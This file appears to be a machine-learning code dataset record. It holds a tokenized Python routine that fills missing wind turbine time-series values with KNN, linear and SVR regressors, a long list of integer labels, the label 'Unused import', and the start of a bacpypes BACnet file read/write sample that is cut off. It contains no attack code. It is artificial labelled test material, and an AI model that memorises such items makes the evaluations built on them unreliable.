"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###", " ", "PREDIC", "TION_", "\\u\\u\\uNL\\u\\u\\u_", "pattern_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pattern_", "._", "append_", "(_", "data_", "[_", "high", "est", "\\u", "candidate_", "]_", "[_", "missing_", "]_", "[_", "field_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "am_", "in_", "merged_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "pattern_", "._", "append_", "(_", "data_", "[_", "am_", "]_", "[_", "missing_", "]_", "[_", "field_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "data_", "[_", "m_", "]_", "[_", "missing_", "]_", "[_", "field_", "]_", "=_", "reg_", "._", "predict_", "(_", "pattern_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "we", " ", "have", " ", "no", " ", "candidate", "s", ",", " ", "and", " ", "we", " ", "use", " ", "merge", "d", " ", "here_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###", " ", "FIT", "TIN", "G_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "labels_", ",_", "patterns_", "=_", "[_", "]_", ",_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "len_", "(_", "mse", "ries_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "(_", "mse", "ries_", "[_", "i_", "]_", "[_", "field_", "]_", "==_", "-_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "labels_", "._", "append_", "(_", "mse", "ries_", "[_", "i_", "]_", "[_", "field_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pattern_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "am_", "in_", "merged_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "pattern_", "._", "append_", "(_", "data_", "[_", "am_", "]_", "[_", "i_", "]_", "[_", "field_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "patterns_", "._", "append_", "(_", "pattern_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "reg_", "==_", "'", "knn", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "rega", "rgs_", "=_", "args_", "[_", "'", "rega", "rg", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "neighbors_", "=_", "rega", "rgs_", "[_", "'", "n", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "variant_", "=_", "rega", "rgs_", "[_", "'", "variant", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "regressor", "_", "=_", "KN", "eig", "hbo", "rs", "Regressor_", "(_", "neighbors_", ",_", "variant_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "reg_", "=_", "regressor", "_", "._", "fit_", "(_", "patterns_", ",_", "labels_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###", " ", "PREDIC", "TION_", "\\u\\u\\uNL\\u\\u\\u_", "pattern_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "am_", "in_", "merged_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "pattern_", "._", "append_", "(_", "data_", "[_", "am_", "]_", "[_", "missing_", "]_", "[_", "field_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "data_", "[_", "m_", "]_", "[_", "missing_", "]_", "[_", "field_", "]_", "=_", "reg_", "._", "predict_", "(_", "pattern_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "merged_", "._", "append_", "(_", "m_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "we", " ", "used", " ", "the", " ", "interpolated", " ", "informati", "on", " ", "of", " ", "all", " ", "turb", "ine", "s", " ", "to", " ", "interpolate_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "missi", "ng", " ", "data", " ", "of", " ", "the", " ", "target", " ", "turb", "ine", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ov", "timeseries_", "=_", "Override", "Missing", "_", "(_", ")_", "._", "override_", "(_", "timeseries_", ",_", "timestep_", ",_", "-_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "labels_", ",_", "patterns_", "=_", "[_", "]_", ",_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "len_", "(_", "timeseries_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "timeseries_", "[_", "i_", "]_", "[_", "field_", "]_", "!=_", "-_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "labels_", "._", "append_", "(_", "ov", "timeseries_", "[_", "i_", "]_", "[_", "field_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "pattern_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "series_", "in_", "data_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pattern_", "._", "append_", "(_", "series_", "[_", "i_", "]_", "[_", "field_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "patterns_", "._", "append_", "(_", "pattern_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "reg_", "==_", "'", "knn", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rega", "rgs_", "=_", "args_", "[_", "'", "rega", "rg", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "neighbors_", "=_", "rega", "rgs_", "[_", "'", "n", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "variant_", "=_", "rega", "rgs_", "[_", "'", "variant", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "regressor", "_", "=_", "KN", "eig", "hbo", "rs", "Regressor_", "(_", "neighbors_", ",_", "variant_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "regressor", "_", "._", "fit_", "(_", "patterns_", ",_", "labels_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "len_", "(_", "ov", "timeseries_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "ov", "timeseries_", "[_", "i_", "]_", "[_", "field_", "]_", "==_", "-_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pattern_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "series_", "in_", "data_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pattern_", "._", "append_", "(_", "series_", "[_", "i_", "]_", "[_", "field_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ov", "timeseries_", "[_", "i_", "]_", "[_", "field_", "]_", "=_", "regressor", "_", "._", "predict_", "(_", "pattern_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "ov", "timeseries_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MR", "eg", "Interpolation", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#@", "todo", " ", "highl", "y", " ", "experimental_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "interpolate_", "(_", "self_", ",_", "timeseries_", ",_", "**_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cs_", "=_", "'", "corrected", "\\u", "score", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sp_", "=_", "'", "speed", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "date_", "=_", "'", "date", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fields_", "=_", "[_", "'", "corrected", "\\u", "score", "'_", ",_", "'", "speed", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "timestep_", "=_", "args_", "[_", "'", "timestep", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "neighbor", "\\u", "series_", "=_", "args_", "[_", "'", "neighbor", "\\u", "series", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "=_", "args_", "[_", "'", "reg", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "override", " ", "missi", "ng", " ", "on", " ", "neighbors_", "\\u\\u\\uNL\\u\\u\\u_", "ln", "series_", "=_", "len_", "(_", "neighbor", "\\u", "series_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "if", " ", "neighbor", " ", "missi", "ng", " ", "raise", " ", "exception_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "nse", "ries_", "in_", "neighbor", "\\u", "series_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "misses", "_", "=_", "Missing", "Data", "Finder_", "(_", ")_", "._", "find_", "(_", "nse", "ries_", ",_", "timestep_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "len_", "(_", "misses", "_", ")_", ">_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "multi", "\\u", "interpolate_", "(_", "timeseries_", ",_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ov", "timeseries_", "=_", "Override", "Missing", "_", "(_", ")_", "._", "override_", "(_", "timeseries_", ",_", "timestep_", ",_", "-_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "field_", "in_", "fields_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "X_", ",_", "Y_", "=_", "[_", "]_", ",_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "t_", "in_", "xrange_", "(_", "len_", "(_", "neighbor", "\\u", "series_", "[_", "0_", "]_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "ov", "timeseries_", "[_", "t_", "]_", "[_", "field_", "]_", "!=_", "-_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "Y_", "._", "append_", "(_", "ov", "timeseries_", "[_", "t_", "]_", "[_", "field_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pattern_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "nse", "ries_", "in_", "neighbor", "\\u", "series_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "pattern_", "._", "append_", "(_", "nse", "ries_", "[_", "t_", "]_", "[_", "field_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "X_", "._", "append_", "(_", "pattern_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "Xa", "_", ",_", "Ya", "_", "=_", "array_", "(_", "X_", ")_", ",_", "array_", "(_", "Y_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "(_", "reg_", "==_", "'", "knn", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rega", "rgs_", "=_", "args_", "[_", "'", "rega", "rg", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "variant_", "=_", "rega", "rgs_", "[_", "'", "variant", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "(_", "'", "kf", "old", "'_", "in_", "rega", "rgs_", "._", "keys_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "kf", "old_", "=_", "rega", "rgs_", "[_", "'", "kf", "old", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nca", "ndi", "dates_", "=_", "rega", "rgs_", "[_", "'", "n", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "regressor", "s_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "best", "\\u", "n_", "=_", "nca", "ndi", "dates_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "regressor", "_", "=_", "KN", "eig", "hbo", "rs", "Regressor_", "(_", "best", "\\u", "n_", ",_", "variant_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "regressor", "s_", "[_", "best", "\\u", "n_", "]_", "=_", "regressor", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "best", "\\u", "score_", "=_", "cross", "\\u", "val", "\\u", "score_", "(_", "regressor", "_", ",_", "Xa", "_", ",_", "Ya", "_", ",_", "cv_", "=_", "kf", "old_", ")_", "._", "mean_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "n_", "in_", "nca", "ndi", "dates_", "[_", "1_", ":_", "]_", ":_", "#", " ", "try", " ", "every", " ", "n", " ", "and", " ", "use", " ", "cross", " ", "validation_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "regressor", "_", "=_", "KN", "eig", "hbo", "rs", "Regressor_", "(_", "n_", ",_", "variant_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "regressor", "s_", "[_", "n_", "]_", "=_", "regressor", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "score_", "=_", "cross", "\\u", "val", "\\u", "score_", "(_", "regressor", "_", ",_", "Xa", "_", ",_", "Ya", "_", ",_", "cv_", "=_", "kf", "old_", ")_", "._", "mean_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "score_", ">_", "best", "\\u", "score_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "best", "\\u", "n_", "=_", "n_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "best", "\\u", "score_", "=_", "score_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "regressor", "_", "=_", "regressor", "s_", "[_", "best", "\\u", "n_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "neighbors_", "=_", "rega", "rgs_", "[_", "'", "n", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "regressor", "_", "=_", "KN", "eig", "hbo", "rs", "Regressor_", "(_", "neighbors_", ",_", "variant_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "(_", "reg_", "==_", "'", "linear", "\\u", "model", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "regressor", "_", "=_", "linear", "\\u", "model_", "._", "Linea", "r", "Regression_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "(_", "reg_", "==_", "'", "sv", "r", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rega", "rgs_", "=_", "args_", "[_", "'", "rega", "rg", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "(_", "rega", "rgs_", "[_", "'", "cv", "\\u", "method", "'_", "]_", "==_", "'", "kf", "old", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "fold_", "=_", "rega", "rgs_", "[_", "'", "cv", "\\u", "args", "'_", "]_", "[_", "'", "k", "\\u", "fold", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pattern", "\\u", "count_", "=_", "Xa", "_", "._", "shape_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cv", "\\u", "method_", "=_", "KF", "old_", "(_", "pattern", "\\u", "count_", ",_", "fold_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "raise_", "Exception_", "(_", "\"", "not", " ", "implemented", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "search", " ", "for", " ", "the", " ", "best", " ", "parameter", "s", " ", "with", " ", "cross", "validation", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "kernel_", ",_", "epsilon_", ",_", "tune", "d\\u", "parameters_", "=_", "rega", "rgs_", "[_", "'", "kernel", "'_", "]_", ",_", "rega", "rgs_", "[_", "'", "eps", "ilon", "'_", "]_", ",_", "rega", "rgs_", "[_", "'", "tune", "d\\u", "parameter", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "grid_", "=_", "Grid", "Sear", "ch", "CV_", "(_", "SV", "R_", "(_", "kernel_", "=_", "kernel_", ",_", "epsilon_", "=_", "epsilon_", ")_", ",_", "param", "\\u", "grid_", "=_", "tune", "d\\u", "parameters_", ",_", "cv_", "=_", "cv", "\\u", "method_", ",_", "verbose_", "=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "grid_", "._", "fit_", "(_", "Xa", "_", ",_", "Ya", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "train", " ", "a", " ", "SV", "R", " ", "regressor", " ", "with", " ", "best", " ", "found", " ", "parameter", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "regressor", "_", "=_", "SV", "R_", "(_", "kernel_", "=_", "kernel_", ",_", "epsilon_", "=_", "0.1_", ",_", "C_", "=_", "grid_", "._", "best", "\\u", "params", "\\u_", "[_", "'", "C", "'_", "]_", ",_", "gamma_", "=_", "grid_", "._", "best", "\\u", "params", "\\u_", "[_", "'", "gamma", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "regressor", " ", "hook", " ", "function", " ", "specified", ",", " ", "call", " ", "hook_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "(_", "'", "reg", "hook", "'_", "in_", "args_", "._", "keys_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "args_", "[_", "'", "reg", "hook", "'_", "]_", "(_", "regressor", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Exception_", "(_", "\"", "No", " ", "regressor", " ", "selecte", "d", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "regressor", "_", "._", "fit_", "(_", "Xa", "_", ",_", "Ya", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "t_", "in_", "xrange_", "(_", "len_", "(_", "ov", "timeseries_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "ov", "timeseries_", "[_", "t_", "]_", "[_", "field_", "]_", "==_", "-_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pattern_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "nse", "ries_", "in_", "neighbor", "\\u", "series_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "pattern_", "._", "append_", "(_", "nse", "ries_", "[_", "t_", "]_", "[_", "field_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "y", "\\u", "hat_", "=_", "regressor", "_", "._", "predict_", "(_", "array_", "(_", "pattern_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "len_", "(_", "y", "\\u", "hat_", "._", "shape_", ")_", ">_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "ov", "timeseries_", "[_", "t_", "]_", "[_", "field_", "]_", "=_", "y", "\\u", "hat_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "ov", "timeseries_", "[_", "t_", "]_", "[_", "field_", "]_", "=_", "y", "\\u", "hat_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "ov", "timeseries_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
JoelBender/bacpypes/samples/ReadWriteFile.py
[ { "content": "#!/usr/bin/python\n\n\"\"\"\nReadWriteFile.py\n\nThis application presents a 'console' prompt to the user asking for commands.\n\nThe 'readrecord' and 'writerecord' commands are used with record oriented files,\nand the 'readstream' and 'writestream' commands are used with stream oriented \nfiles.\n\"\"\"\n\nimport sys\n\nfrom bacpypes.debugging import bacpypes_debugging, ModuleLogger\nfrom bacpypes.consolelogging import ConfigArgumentParser\nfrom bacpypes.consolecmd import ConsoleCmd\n\nfrom bacpypes.core import run\n\nfrom bacpypes.pdu import Address\nfrom bacpypes.app import LocalDeviceObject, BIPSimpleApplication\n\nfrom bacpypes.apdu import Error, AbortPDU, \\\n AtomicReadFileRequest, \\\n AtomicReadFileRequestAccessMethodChoice, \\\n AtomicReadFileRequestAccessMethodChoiceRecordAccess, \\\n AtomicReadFileRequestAccessMethodChoiceStreamAccess, \\\n AtomicReadFileACK, \\\n AtomicWriteFileRequest, \\\n AtomicWriteFileRequestAccessMethodChoice, \\\n AtomicWriteFileRequestAccessMethodChoiceRecordAccess, \\\n AtomicWriteFileRequestAccessMethodChoiceStreamAccess, \\\n AtomicWriteFileACK\nfrom bacpypes.basetypes import ServicesSupported\n\n# some debugging\n_debug = 0\n_log = ModuleLogger(globals())\n\n# reference a simple application\nthis_application = None\n\n#\n# TestApplication\n#\n\n\n#\n# TestConsoleCmd\n#\n\n\n#\n# __main__\n#\n\ntry:\n # parse the command line arguments\n args = ConfigArgumentParser(description=__doc__).parse_args()\n\n if _debug: _log.debug(\"initialization\")\n if _debug: _log.debug(\" - args: %r\", 